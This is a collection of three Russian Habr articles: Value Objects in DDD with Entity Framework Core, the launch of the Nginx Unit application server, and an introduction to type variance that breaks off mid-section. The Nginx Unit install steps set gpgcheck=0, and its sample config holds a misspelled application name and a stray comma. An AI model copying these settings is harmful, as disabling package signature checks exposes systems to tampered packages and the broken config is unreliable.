На Хабре и не только написано приличное количество статей про Domain Driven Design — как в общем про архитектуру, так и с примерами на .Net. Но при этом зачастую слабо упоминается такая важнейшая часть этой архитектуры, как Value Objects.
В этой статье я постараюсь раскрыть нюансы реализации Value Objects в .Net Core с использованием Entity Framework Core.
Под катом много кода.
Немного теории
--------------
Ядром архитектуры Domain Driven Design является **Домен** — предметная область, к которой применяется разрабатываемое программное обеспечение. Здесь находится вся бизнес-логика приложения, которая обычно взаимодействует с различными данными. Данные могут быть двух типов:
* Entity Object
* Value Object (далее — VO)
**Entity Object** определяет некоторую сущность в бизнес логике и обязательно имеет идентификатор, по которому Entity можно найти или сравнить с другой Entity. Если две Entity имеют идентичный идентификатор — это одна и та же Entity. Практически всегда изменяем.
**Value Object** — это иммутабельный тип, значение которого задается при создании и не меняется на протяжении всей жизни объекта. Не имеет идентификатора. Если два VO структурно одинаковы — они эквивалентны.
Entity может содержать другие Entity и VO. В состав VO могут быть включены другие VO, но не Entity.
Таким образом, логика домена должна работать исключительно с Entity и VO — этим гарантируется его консистентность. Базовые типы данных, такие как string, int и т.д. зачастую не могут выступать в качестве VO, потому что могут элементарно нарушить состояние домена — что в рамках DDD является почти катастрофой.
Пример. Набивший всем оскомину в различных руководствах класс Person часто показывают вот так:
```
public class Person
{
public int Id { get; set; }
public string Name { get; set; }
public int Age { get; set; }
}
```
Просто и наглядно — идентификатор, имя и возраст, где же тут можно ошибиться?
А ошибок тут может быть несколько — например, с точки зрения бизнес-логики, имя обязательно, не может быть нулевой длины или более 100 символов и не должно содержать спецсимволы, пунктуацию и т.д. А возраст не может быть меньше 10 или больше 120 лет.
С точки зрения языка программирования, 5 — вполне нормальное целое число, аналогично и пустая строка. А вот домен уже находится в некорректном состоянии.
Переходим к практике
--------------------
К этому моменту мы знаем, что VO должен быть иммутабельным и содержать значение, допустимое для бизнес-логики.
Иммутабельность достигается инициализацией readonly свойства при создании объекта.
Проверка допустимости значения происходит в конструкторе (Guard clause). Саму проверку желательно сделать доступной публично — для того, чтобы, другие слои могли провалидировать данные поступившие от клиента (тот же браузер).
Давайте создадим VO для Name и Age. Дополнительно немного усложним задачу — добавим PersonalName, объединяющий в себе FirstName и LastName, и применим это к Person.
**Name**
```
public class Name {
private static readonly Regex ValidationRegex = new Regex(
@"^[\p{L}\p{M}\p{N}]{1,100}\z",
RegexOptions.Singleline | RegexOptions.Compiled);
public Name(String value) {
if (!IsValid(value)) {
throw new ArgumentException("Name is not valid");
}
Value = value;
}
public String Value { get; }
public static Boolean IsValid(String value) {
return !String.IsNullOrWhiteSpace(value) && ValidationRegex.IsMatch(value);
}
public override Boolean Equals(Object obj) {
return obj is Name other &&
StringComparer.Ordinal.Equals(Value, other.Value);
}
public override Int32 GetHashCode() {
return StringComparer.Ordinal.GetHashCode(Value);
}
}
```
**PersonalName**
```
public class PersonalName {
protected PersonalName() { }
public PersonalName(Name firstName, Name lastName) {
if (firstName == null) {
throw new ArgumentNullException(nameof(firstName));
}
if (lastName == null) {
throw new ArgumentNullException(nameof(lastName));
}
FirstName = firstName;
LastName = lastName;
}
public Name FirstName { get; }
public Name LastName { get; }
public String FullName => $"{FirstName} {LastName}";
public override Boolean Equals(Object obj) {
return obj is PersonalName personalName &&
EqualityComparer.Default.Equals(FirstName, personalName.FirstName) &&
EqualityComparer.Default.Equals(LastName, personalName.LastName);
}
public override Int32 GetHashCode() {
return HashCode.Combine(FirstName, LastName);
}
public override String ToString() {
return FullName;
}
}
```
**Age**
```
public class Age {
public Age(Int32 value) {
if (!IsValid(value)) {
throw new ArgumentException("Age is not valid");
}
Value = value;
}
public Int32 Value { get; }
public static Boolean IsValid(Int32 value) {
return 10 <= value && value <= 120;
}
public override Boolean Equals(Object obj) {
return obj is Age other && Value == other.Value;
}
public override Int32 GetHashCode() {
return Value.GetHashCode();
}
}
```
И, наконец, Person:
```
public class Person {
public Person(PersonalName personalName, Age age) {
if (personalName == null) {
throw new ArgumentNullException(nameof(personalName));
}
if (age == null) {
throw new ArgumentNullException(nameof(age));
}
Id = Guid.NewGuid();
PersonalName= personalName;
Age = age;
}
public Guid Id { get; private set; }
public PersonalName PersonalName{ get; set; }
public Age Age { get; set; }
}
```
Таким образом, мы не можем создать Person без полного имени или возраста. Также мы не можем создать “неправильное” имя или “неправильный” возраст. А хороший программист обязательно проверит в контроллере поступившие данные с помощью методов Name.IsValid(“John”) и Age.IsValid(35) и в случае некорректных данных — сообщит об этом клиенту.
Если мы возьмем за правило везде в модели использовать только Entity и VO, то убережем себя от большого количества ошибок — неправильные данные просто не попадут в модель.
Persistence
-----------
Теперь нам нужно сохранить наши данные в хранилище данных и получить их по запросу. В качестве ORM будем использовать Entity Framework Core, хранилище данных — MS SQL Server.
DDD четко определяет: Persistence — это подвид инфраструктурного слоя, поскольку скрывает в себе конкретную реализацию доступа к данным.
Домен ничего не должен знать про Persistence, по этому определяет только интерфейсы репозиториев.
А Persistence содержит в себе конкретные реализации, конфигурации маппинга, а также объект UnitOfWork.
Существует два мнения, стоит ли создавать репозитории и Unit of Work.
С одной стороны — нет, не нужно, ведь в Entity Framework Core это все уже реализовано. Если у нас многоуровневая архитектура вида DAL -> Business Logic -> Presentation, которая отталкивается от хранения данных — то почему бы и не использовать возможности EF Core напрямую.
Но домен в DDD не зависит от хранения данных и используемого ORM — это всё тонкости имплементации, которые инкапсулированы в Persistence и никого больше не интересуют. Если мы предоставляем DbContext в другие слои, то тут же раскрываем детали имплементации, намертво завязываемся на выбранную ORM и получаем DAL — как основу всей бизнес-логики, а такого быть не должно. Грубо говоря, домен не должен заметить изменение ORM и даже потерю Persistence как слоя.
Итак, интерфейс репозитория Persons, в домене:
```
public interface IPersons {
Task Add(Person person);
Task> GetList();
}
```
и его реализация в Persistence:
```
public class EfPersons : IPersons {
private readonly PersonsDemoContext _context;
public EfPersons(UnitOfWork unitOfWork) {
if (unitOfWork == null) {
throw new ArgumentNullException(nameof(unitOfWork));
}
_context = unitOfWork.Context;
}
public async Task Add(Person person) {
if (person == null) {
throw new ArgumentNullException(nameof(person));
}
await _context.Persons.AddAsync(person);
}
public async Task> GetList() {
return await \_context.Persons.ToListAsync();
}
}
```
Казалось бы, ничего сложного, но есть проблема. Entity Framework Core “из коробки” работает только с базовыми типами (string, int, DateTime и т.д.) и ничего не знает про PersonalName и Age. Давайте научим EF Core понимать наши Value Objects.
Configuration
-------------
Для конфигурирования Entity в DDD больше всего подходит Fluent API. Атрибуты не подходят, так как домен не должен ничего знать про нюансы маппинга.
Создадим в Persistence класс с базовой конфигурацией PersonConfiguration:
```
internal class PersonConfiguration : IEntityTypeConfiguration {
public void Configure(EntityTypeBuilder builder) {
builder.ToTable("Persons");
builder.HasKey(p => p.Id);
builder.Property(p => p.Id).ValueGeneratedNever();
}
}
```
и подключим его в DbContext:
```
protected override void OnModelCreating(ModelBuilder builder) {
base.OnModelCreating(builder);
builder.ApplyConfiguration(new PersonConfiguration());
}
```
Mapping
-------
Тот раздел, ради которого и написан этот материал.
В данный момент есть два более-менее удобных способа маппинга нестандартных классов к базовым типам — Value Conversions и Owned Types.
### Value Conversions
Эта фича появилась в Entity Framework Core 2.1 и позволяет определять конвертацию между двумя типами данных.
Напишем конвертер для Age (в этом разделе весь код — в PersonConfiguration):
```
var ageConverter = new ValueConverter(
v => v.Value,
v => new Age(v));
builder
.Property(p => p.Age)
.HasConversion(ageConverter)
.HasColumnName("Age")
.HasColumnType("int")
.IsRequired();
```
Простой и лаконичный синтаксис, но не обошлось без недостатков:
1. Невозможно конвертировать null;
2. Невозможно конвертировать одно свойство в несколько колонок в таблице и наоборот;
3. EF Core не умеет преобразовывать LINQ выражение с этим свойством в SQL запрос.
На последнем пункте остановлюсь подробнее. Добавим в репозиторий метод, возвращающий список Person старше заданного возраста:
```
public async Task> GetOlderThan(Age age) {
if (age == null) {
throw new ArgumentNullException(nameof(age));
}
return await \_context.Persons
.Where(p => p.Age.Value > age.Value)
.ToListAsync();
}
```
Здесь есть условие по возрасту, но EF Core не сможет его преобразовать в SQL запрос и, дойдя до Where(), загрузит всю таблицу в память приложения и, только потом, с помощью LINQ, выполнит условие p.Age.Value > age.Value.
В общем, Value Conversions — простой и быстрый вариант маппинга, но нужно помнить о такой особенности работы EF Core, иначе, в какой то момент, при запросе в большие таблицы, память может закончиться.
### Owned Types
Owned Types появились в Entity Framework Core 2.0 и пришли на замену Complex Types из обычного Entity Framework.
Давайте сделаем Age как Owned Type:
```
builder.OwnsOne(p => p.Age, a => {
a.Property(u => u.Value).HasColumnName("Age");
a.Property(u => u.Value).HasColumnType("int");
a.Property(u => u.Value).IsRequired();
});
```
Неплохо. А еще Owned Types не имеют некоторых недостатков Value Conversions, а именно пунктов 2 и 3.
2. Возможно конвертировать одно свойство в несколько колонок в таблице и наоборот
То, что нужно для PersonalName, хотя синтаксис уже немного перегружен:
```
builder.OwnsOne(b => b.PersonalName, pn => {
pn.OwnsOne(p => p.FirstName, fn => {
fn.Property(x => x.Value).HasColumnName("FirstName");
fn.Property(x => x.Value).HasColumnType("nvarchar(100)");
fn.Property(x => x.Value).IsRequired();
});
pn.OwnsOne(p => p.LastName, ln => {
ln.Property(x => x.Value).HasColumnName("LastName");
ln.Property(x => x.Value).HasColumnType("nvarchar(100)");
ln.Property(x => x.Value).IsRequired();
});
});
```
3. EF Core умеет преобразовывать LINQ выражение с этим свойством в SQL запрос.
Добавим сортировку по LastName и FirstName при загрузке списка:
```
public async Task> GetList() {
return await \_context.Persons
.OrderBy(p => p.PersonalName.LastName.Value)
.ThenBy(p => p.PersonalName.FirstName.Value)
.ToListAsync();
}
```
Такое выражение будет корректно преобразовано в SQL запрос и сортировка выполняется на стороне SQL сервера, а не в приложении.
Конечно, есть и недостатки.
1. Никуда не делись проблемы с null;
2. Поля Owned Types не могут быть readonly и должны иметь protected или private сеттер.
3. Owned Types реализованы как регулярные Entity, что означает:
* У них есть идентификатор (как shadow property, т.е. он не фигурирует в доменном классе);
* EF Core трекает все изменения в Owned Types, точно так же, как и для обычных Entity.
С одной стороны — это совсем не то, какими должны быть Value Objects. Они не должны иметь никаких идентификаторов. VO не должны трекаться на изменения — потому как изначально иммутабельны, трекаться должны свойства родительского Entity, но не свойства VO.
С другой стороны — это такие детали реализации, которые можно опустить, но, опять же, забывать не стоит. Трекинг изменений влияет на производительность. Если с выборками единичных Entity (например, по Id) или небольших списков это не заметно, то с выборкой больших списков “тяжелых” Entity (много VO-свойств) — просадка в производительности будет весьма заметной именно из-за трекинга.
Presentation
------------
Мы разобрались как реализовать Value Objects в домене и репозитории. Пришло время все это использовать. Создадим две простейшие странички — со списком Person и формой добавления Person.
Код контроллера без Action методов выглядит так:
```
public class HomeController : Controller {
private readonly IPersons _persons;
private readonly UnitOfWork _unitOfWork;
public HomeController(IPersons persons, UnitOfWork unitOfWork) {
if (persons == null) {
throw new ArgumentNullException(nameof(persons));
}
if (unitOfWork == null) {
throw new ArgumentNullException(nameof(unitOfWork));
}
_persons = persons;
_unitOfWork = unitOfWork;
}
// Actions
private static PersonModel CreateModel(Person person) {
return new PersonModel {
FirstName = person.PersonalName.FirstName.Value,
LastName = person.PersonalName.LastName.Value,
Age = person.Age.Value
};
}
}
```
Добавим Action для получения списка Person:
```
[HttpGet]
public async Task Index() {
var persons = await \_persons.GetList();
var result = new PersonsListModel {
Persons = persons
.Select(CreateModel)
.ToArray()
};
return View(result);
}
```
**View**
```
@model PersonsListModel
@{
ViewData["Title"] = "Persons List";
}
Persons
-------
| **Last name** | **First name** | **Age** |
@foreach (var p in Model.Persons) {
| @p.LastName | @p.FirstName | @p.Age |
}
```
Ничего сложного — загрузили список, создали Data-Transfer Object (PersonModel) на каждый
Person и отправили в соответствующую View.
**Результат**
Гораздо интереснее добавление Person:
```
[HttpPost]
public async Task AddPerson(PersonModel model) {
if (model == null) {
return BadRequest();
}
if (!Name.IsValid(model.FirstName)) {
ModelState.AddModelError(nameof(model.FirstName), "FirstName is invalid");
}
if (!Name.IsValid(model.LastName)) {
ModelState.AddModelError(nameof(model.LastName), "LastName is invalid");
}
if (!Age.IsValid(model.Age)) {
ModelState.AddModelError(nameof(model.Age), "Age is invalid");
}
if (!ModelState.IsValid) {
return View();
}
var firstName = new Name(model.FirstName);
var lastName = new Name(model.LastName);
var person = new Person(
new PersonalName(firstName, lastName),
new Age(model.Age));
await \_persons.Add(person);
await \_unitOfWork.Commit();
var persons = await \_persons.GetList();
var result = new PersonsListModel {
Persons = persons
.Select(CreateModel)
.ToArray()
};
return View("Index", result);
}
```
**View**
```
@model PersonDemo.Models.PersonModel
@{
ViewData["Title"] = "Add Person";
}
Add Person
----------
@section Scripts {
@{await Html.RenderPartialAsync("_ValidationScriptsPartial");}
}
```
Здесь присутствует обязательная валидация входящих данных:
```
if (!Name.IsValid(model.FirstName)) {
ModelState.AddModelError(nameof(model.FirstName), "FirstName is invalid");
}
```
Если этого не делать, то при создании VO с некорректным значением будет выкинуто ArgumentException (помним про Guard Clause в конструкторах VO). С проверкой же гораздо легче отправить пользователю сообщение, что какое то из значений неверное.
**Результат**
Здесь нужно сделать небольшое отступление — в Asp Net Core есть штатный способ валидации данных — с помощью атрибутов. Но в DDD такой способ валидации не является корректным по нескольким причинам:
* Возможностей атрибутов может не хватать для логики валидации;
* Любую бизнес-логику, в том числе и правила валидации параметров, устанавливает исключительно домен. У него монопольное право на это и все остальные слои должны с этим считаться. Атрибуты можно использовать, но полагаться на них не стоит. Если атрибут пропустит некорректные данные, то мы опять получим исключение при создании VO.
Вернемся к AddPerson(). После валидации данных создаются PersonalName, Age, а затем и Person. Далее добавляем объект в репозиторий и сохраняем изменения (Commit). Очень важно, чтобы Commit не вызывался в репозитории EfPersons. Задача репозитория — выполнить некоторое действие с данными, не более. Commit делается только извне, когда именно — решает программист. Иначе возможна ситуация, когда в середине определенной бизнес-итерации происходит ошибка — а часть данных сохранена, а часть — нет. Получаем домен в “сломанном” состоянии. Если же Commit будет сделан в самом конце, то при ошибке транзакция просто откатится.
Заключение
----------
Я привел примеры реализации Value Objects в общем и нюансы маппинга в Entity Framework Core. Надеюсь, что материал пригодится в понимании того, как применять элементы Domain Driven Design на практике.
Полный исходный код проекта PersonsDemo — [GitHub](https://github.com/timurnes/PersonsDemo)
В материале не раскрыта проблема взаимодействия с опциональными (nullable) Value Objects — если бы PersonalName или Age были не обязательными свойствами Person. Я хотел это описать в данной статье, но она и так вышла несколько перегруженной. Если есть интерес к этой проблематике — пишите в комментариях, продолжение будет.
Фанатам “красивых архитектур” в общем и Domain Driven Design в частности очень рекомендую ресурс [Enterprise Craftsmanship](https://enterprisecraftsmanship.com).
Там множество полезных статей про правильное построение архитектуры и примеры реализации на .Net. Некоторые идеи были позаимствованы именно там, успешно реализованы в “боевых” проектах и частично отображены в этой статье.
Также использовалась официальная документация по [Owned Types](https://docs.microsoft.com/en-us/ef/core/modeling/owned-entities) и [Value Conversions](https://docs.microsoft.com/en-us/ef/core/modeling/value-conversions). | https://habr.com/ru/post/443770/ | null | ru | null |
# Ожидание длиной в 15 лет. Nginx Application Server
Начиная с момента появления Nginx в 2004 году, мы все задавались вопросом: когда же на nginx можно будет запускать приложения? Мы запускали PHP в php-fpm и на апаче, запускали Python через uWSGI, иногда жили с Apache, а если нам нужны были разные версии PHP — жили с зоопарком из FPM-ов.
Только что на конференции NginxConf в Портленде Nginx, Inc. объявил о запуске Nginx Application Platform. ITSumma тестировала один из его компонентов, собственно сам Application Server под названием Nginx Unit с закрытой версии. В этом посте мы расскажем о том, как выглядит Nginx Unit, и как на нем запускать приложения.
Nginx Unit — это сервер приложений для веба, позволяющий запускать веб-приложения, написанные на различных языках программирования (php, python, go). Этот инструмент достаточно легок и позволяет на лету переконфигурировать настройки и количество приложений по мере необходимости при разработке.
→ [Основной сайт проекта](http://unit.nginx.org/)
Поддерживаемые на текущий момент платформы:
— Python 2.6, 2.7, 3
— PHP 5, 7
— Go 1.6 or later
Важная и крутая возможность для людей с зоопарком платформ: разные версии одной и той же платформы можно запустить в рамках одного конфига, одного аппсервера — прощай, зоопарк PHP-FPM-ов.
→ Исходный код проекта загружен на [Гитхаб](https://github.com/nginx/unit).
Что классно и интересно: ребята загрузили на Гитхаб код начиная с первого коммита и обещают принимать пулл-реквесты в классическом для Гитхаба стиле. Среди всего прочего можно посмотреть историю, логику и стиль разработки — очень интересно.
### Установка
Важно: текущая версия все еще бета, с огромным количеством отладочного кода, который добавляет свой оверхед. В следующих версиях обещают значительную оптимизацию, которая должна переплюнуть текущие апп-серверы по производительности.
Пакеты сейчас доступны для CentOS 7.0 и Ubuntu 16.04 LTS
**Установка для CentOS 7**
1. Создайте файл /etc/yum.repos.d/unit.repo со следующим содержимым:
```
[unit]
name=unit repo
baseurl=http://nginx.org/packages/mainline/centos/7/$basearch/
gpgcheck=0
enabled=1
```
2. Запустите установку пакета:
```
# yum install unit
```
**Установка для Ubuntu 16.04**
1. Скачайте [PGP-ключ NGINX](http://nginx.org/keys/nginx_signing.key), Inc.
2. Добавьте ключ в связку ключей apt. После этого не должно быть оповещений об отсутствующем PGP-ключе во время установки Unit.
```
# sudo apt-key add nginx_signing.key
```
3. Добавьте в конец файла /etc/apt/sources.list строки:
```
deb http://nginx.org/packages/mainline/ubuntu/ xenial nginx
deb-src http://nginx.org/packages/mainline/ubuntu/ xenial nginx
```
4. Скачайте Unit:
```
# apt-get update
# apt-get install unit
```
Nginx Unit состоит из нескольких служебных процессов (master/controller/router) и непосредственно самих процессов-приложений. Конфигурация производится через REST API, через юникс сокет unit.control.sock.
Получение текущего конфига
```
curl --unix-socket ./control.unit.sock http://localhost/
```
Загрузка нового
```
curl -X PUT -d @/path/to/start.json --unix-socket ./control.unit.sock http://localhost/
```
Конфигурация состоит из набора приложений (application) и воркеров (listener).
### Запуск приложения
Рассмотрим запуск приложения на примере запуска «1С-Битрикс» и Laravel:
Фронтэндом выступает классический nginx, а бэкэндом — Nginx Unit. Сейчас каждое «приложение» Nginx Unit для PHP подразумевает одну точку входа. В случае с Битриксом их может быть две — urlrewrite.php и index.php, соответственно в бете — нужно либо объединить эту логику в один файл в коде, либо запускать два приложения. В ближайших версиях Nginx Unit ребята обещают сделать роутинг, чтобы избежать этой проблемы.
Конфигурация для Laravel:
```
location / {
proxy_pass http://127.0.0.1:8300;
proxy_redirect http://127.0.0.1:8300/ /;
proxy_read_timeout 60s;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
location ~ \.php$ {
proxy_pass http://127.0.0.1:8300;
proxy_redirect http://127.0.0.1:8300/ /;
proxy_read_timeout 60s;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
```
Конфигурация для «1С-Битрикс»:
```
location = / {
proxy_pass http://127.0.0.1:8601;
proxy_redirect http://127.0.0.1:8601/ /;
proxy_read_timeout 60s;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
break;
}
location / {
try_files $uri /bitrix/urlrewrite.php =404;
proxy_pass http://127.0.0.1:8600;
proxy_redirect http://127.0.0.1:8600/ /;
proxy_read_timeout 60s;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
```
Для замены конфигурации запускаем
```
curl -X PUT -d @/path/to/start.json --unix-socket ./control.unit.sock http://localhost/
```
(По-умолчанию — сокет, проксировать с сокета в TCP порт можно посредством nginx.)
В настоящий момент конфигурацию надо подгружать при запуске апп-сервера, в следующих версиях Unit будет сохранять загруженную конфигурацию при перезапуске.
Сначала перечисляем приложения, при этом для каждого приложения указываем версию интерпретатора. В качестве точки входа можно указать параметр index (и тогда скрипт будет браться из строки запроса), или, в случае точки входа, script — и тогда запросы будут идти на конкретный скрипт. Опять же, обратите внимание, для «1С-Битрикс» запускаются два приложения:
Конфиг:
```
{
"applications": {
"laravel": {
"type": "php 7.0",
"user": "nobody",
"group": "nobody",
"workers": 2,
"root": "/var/www/vhosts/laravel/public",
"script": "index.php",
},
"plain": {
"type": "php 7.0",
"user": "nobody",
"group": "nobody",
"workers": 2,
"root": "/var/www/vhosts/test",
"index": "index.php"
},
"bitrix": {
"type": "php 5.6",
"user": "nobody",
"group": "nobody",
"workers": 2,
"root": "/var/www/vhosts/bitrix",
"script": "/bitrix/urlrewrite.php"
},
"bitrix_index": {
"type": "php 5.6",
"user": "nobody",
"group": "nobody",
"workers": 2,
"root": "/var/www/vhosts/bitrix",
"script": "index.php"
}
},
```
Затем апы вешаются на порты:
```
"listeners": {
"*:8300": {
"application": "laravel"
},
"*:8500": {
"application": "plain"
},
"*:8600": {
"application": "bitrix"
},
"*:8601": {
"application": "bitirx_index"
}
}
}
```
Мы все ждали этого довольно давно, однако давайте все-таки рассмотрим случаи, когда Unit принесет серьезное преимущество:
* **гетерогенная инфраструктура приложения.** Сейчас в рамках одного app-сервера можно держать разные версии PHP, запускать Python и Go. К концу года ожидается NodeJS, Java и, возможно, Ruby. Все это в одном конфиге, одном и том же app-сервере. Приложения больше не пишут на одном языке, и это действительно облегчит всем нам жизнь.
* **зоопарк версий на одной системе**. Устали от многочисленных конфигураций и сборок fpm с разными версиями? Теперь это может быть запущено в пределах одного приложения. Понятно, что это не «чистая» ситуация, но она часто встречается и, опять же — серьезное облегчение жизни.
* если пункты 1 и 2 мы чувствуем на себе, то третий, о котором говорит Nginx, еще предстоит попробовать. Единое и простое управление конфигурацией микросервисной архитектурой. Единая система управления конфигурациями через REST API, единый продукт в целом.
Пока Application Platform еще бета, но уже можно пробовать и готовить свои конфигурации к продакшену. Ждем дальнейших новостей! | https://habr.com/ru/post/337346/ | null | ru | null |
# Ко-вариантность и типы данных
Тема вариантов в программировании вызывает кучу сложностей в понимании, по мне это проблема в том, что в качестве объяснения берут не всегда успешные метафоры - контейнеры.
Я надеюсь что может у меня получиться объяснить эту тему с другой стороны используя метафоры “присвоения” в разрезе лямбд.
### Зачем вообще эта вариантность нужна ?
В целом без вариантности можно жить и спокойно программировать, это не такая уж архиважная тема, у нас есть множество примеров языков программирования в которых это качество не отображено.
Ко-вариантность это о типах данных и их контроле со стороны компиляторов. И ровно с этого места надо откатиться и сказать о типах данных и зачем это нам нужно.
#### Flashback к типам
Типы данных сами по себе тоже не являются сверхважной темой, есть языки в которых тип данных не особенно нужны, например ассемблер, brainfuck, РЕФАЛ.
В том же РЕФАЛ или ассемблере очень легко перепутать к кому типу относиться переменная, и очень легко, например можно допустить что из одной строки я вычту другую строку, просто опечатка, никакого злого умысла.
В языках с поддержкой типов, компилятор увидел бы это опечатку и не дал бы мне скомпилировать программу, но… например JS
```
> 'str-a' - 'str-b'
NaN
```
JS (JavaScript) Спокойно этот код проглатывает, мне скажут что это **не баг, это фича**, ок, допустим, тогда я возьму Python
```
>>> 'str-a' - 'str-b'
Traceback (most recent call last):
File "", line 1, in
TypeError: unsupported operand type(s) for -: 'str' and 'str'
```
Или Java
```
jshell> "str-a" - "str-b"
| Error:
| bad operand types for binary operator '-'
| first type: java.lang.String
| second type: java.lang.String
| "str-a" - "str-b"
| ^---------------^
```
То есть я клоню к тому, что считать багом или фичей - зависит от создателей языка.
А мне как пользователю например вообще без разницы на каком языке написана та или иная программа, мне важно чтоб она работала.
А как программисту, решающему задачу конкретного пользователя, я выберу тот язык, который будет удобен мне для решения задачи и я не хотел бы сильно заварчиваться на особенности языков, знать особенности работы с тем или иным типом данным.
Еще пример: может быть такой мой сценарий, допустим вчера я написал на Groovy вот такой код
```
groovy> def fun1( a, b ){
groovy> return a - b
groovy> }
groovy> println 'fun1( 5, 2 )='+fun1( 5, 2 )
groovy> println "fun1( 'aabc', 'b' )="+fun1( 'aabc', 'b' )
groovy> println 'fun1( [1,2,3,4], [2,3] )='+fun1( [1,2,3,4], [2,3] )
fun1( 5, 2 )=3
fun1( 'aabc', 'b' )=aac
fun1( [1,2,3,4], [2,3] )=[1, 4]
```
А сегодня так на JS в другом проекте
```
> fun1 = function( a, b ){ return a - b }
[Function: fun1]
> fun1( 5, 2 )
3
> fun1( 'aabc', 'b' )
NaN
> fun1( [1,2,3,4], [2,3] )
NaN
```
И вот таких не совпадений типов данных может быть много и мне действительно надо знать особенности того или иного языка.
Окей, я понимаю, что я сейчас выдумываю на ходу разные проблемы - но это не значит, что прям сейчас надо бросать известный вам язык и переходить на другой язык программирования.
### Речь о типах данных
Вариантность как и ко/контр вариантность - это речь о типах данных и их отношениях между собой.
Некоторые языки программирования создавались, чтобы избежать выше описанных проблем.
Один из способов избежать - это введение системы типов данных.
Вот пример на языке TypeScript
```
function sub( x : number, y : number ) {
return x - y;
}
console.log( sub(5,3) )
```
Этот код успешно скомпилируется в JS.
А вот этот
```
function sub( x : number, y : number ) {
return x - y;
}
console.log( sub("aa","bb") )
```
Уже не скомпилируется - и это хорошо:
```
> tsc ./index.ts
index.ts:5:18 - error TS2345: Argument of type 'string' is not assignable
to parameter of type 'number'.
5 console.log( sub("aa","bb") )
~~~~
Found 1 error.
```
В примере выше функция `sub` требует принимать в качестве аргументов переменные определенного типа, не любые, а именно `number`.
Контроль за типы данных я возлагаю уже компилятору TypeScript (`tsc`).
### Инвариантность
Рассмотрим пока понятие Инвариантность, согласно определению
***Инвариа́нт****— это свойство некоторого класса (множества) математических объектов, остающееся неизменным при преобразованиях определённого типа.*
*Пусть A — множество и G — множество отображений из A в A. Отображение f из множества A в множество B называется инвариантом для G, если для любых a ∈ A и g ∈ G выполняется тождество f(a)=f(g(a)).*
Очень невнятное для не посвященных определение, давай те чуть проще:
***Инвариантность****- это такое качество операций над данными, при котором тип данных в передаваемых в функцию и возвращаемый тип является один и тем же.*
Рассмотрим пример операции присвоения переменной, в JS допускается вот такой код
```
> fun1 = function( a, b, c ){
... let r = b;
... if( a ) r = c;
... return r + r;
... }
[Function: fun1]
> fun1( 1==1, 2, 3 )
6
> fun1( 1==1, "aa", "b" )
'bb'
> fun1( 1==1, 3, "b" )
'bb'
> fun1( 1!=1, 3, "b" )
6
> fun1( 1!=1, {x:1}, "b" )
'[object Object][object Object]'
```
В примере переменная r - может быть и типа string и number и объектом, со стороны интерпретатора сказать какого типа данных возвращает функция fun1 нельзя, пока не запустишь программу.
Так же нельзя сказать какого типа будет переменная r. Тип результата и тип переменной r зависит от типов аргументов функции.
Переменная r по факту может иметь два разных типа:
* В конструкции `let r = b`, переменная r будет иметь такой же тип, как и переменная b.
* В конструкции `r = c`, переменная r будет иметь такой же тип, как и переменная c.
В целом, такое не определенное поведение может сказаться на последующей логике поведения программы негативно.
Можно наложить явным образом ограничения на вызов функции и проверять какого типа аргументы, например так:
```
> fun1 = function( a, b, c ){
... if( typeof(b)!=='number' )throw "argument b not number";
... if( typeof(c)!=='number' )throw "argument c not number";
... let r = b;
... if( a ) r = c;
... return r + r;
... }
[Function: fun1]
> fun1( true, 1, 2 )
4
> fun1( true, 'aa', 3 )
Thrown: 'argument b not number'
```
Это уже лучше, хоть об ошибке мы узнаем, во время выполнения, но она уже не приведет к негативным последствиям.
Другой же аспект, в том что операция +, - и др… при операциях над числами - возвращают числа - это и есть **инвариантность** (в широком смысле), а вот над числами и строками или различными типами данных - результат уже менее предсказуем.
В языках со строгой типизацией операция конструкция `let r = b` и следующая за ней `r = c` не допустима, она может быть допустима если мы укажем типы аргументов.
Пример Typescript:
```
function fun1( a:boolean, b:number, c:number ){
let r = b;
if( a ) r = c;
return r + r;
}
function fun2( a:boolean, b:number, c:string ){
let r = b;
if( a ) r = c;
return r + r;
}
```
И результат компиляции
```
> tsc ./index.ts
index.ts:9:13 - error TS2322: Type 'string' is not assignable to type 'number'.
9 if( a ) r = c;
~
Found 1 error.
```
Здесь в ошибки говориться явно, что переменная типа `string` не может быть присвоена переменной типа `number`.
**Вариантность** - в компиляторах, это проверка допустимости присвоения переменной одного типа значения другого типа.
**Инвариантность** - это такой случай, когда переменной одного типа присваивается (другая или эта же) переменная этого же типа.
Теперь вернемся к строгому определению: `выполняется тождество f(a)=f(g(a))`
То есть допустим у нас есть функции TypeScript:
```
function f(a:number) : number {
return a+a;
}
function g(a:number) : number {
return a;
}
console.log( f(1)===f(g(1)) )
```
Этот код - вот прям сторого соответствует определению.
В контексте программирования *Инвариантность* - это не свойство значения функций, а соответствие типов данных, т.е. вот код ниже абсолютно валиден
```
function f(a:number) : number {
return a+a;
}
function g(a:number) : number {
return a-1;
}
let r = f(1)
r = f(g(1))
```
а такой код
```
function f(a:number) : number {
return a+a;
}
function g(a:number) : string {
return (a-1) + "";
}
let r = f(1)
r = f(g(1))
```
Уже невалиден (не корректен), так как:
* функция g возвращает тип string
* а функция f требует тип number в качестве аргумента
и вот такую ошибку обнаружит компилятор TypeScript.
### Первый итог
**Вариантность** и другие ее формы, как например *Ин/Ко/Контр вариантность* - это качество операции присвоения значения переменной или передачи аргументов в функцию, в которой проверяется типы данных передаваемых/принимаемых в функцию и переменную.
### Ко-вариантность
Для объяснения ко-вариантности и контр-вариантности, мне придется прибегнуть не к TypeScript, а к другому языку - Scala, причины я поясню ниже.
Вы наверно уже слышали про ООП и наследование, про различные принципы Solid
*Ко-вариантность* обычно объясняют через наследование, и что наследуются все свойства и методы родительского класса - это верно, рассмотрим пару примеров
---
**Ко-вариантность** это такое качество операции присвоения значения переменной значение переменной другого типа, при котором сохраняются все свойства и операции. —–
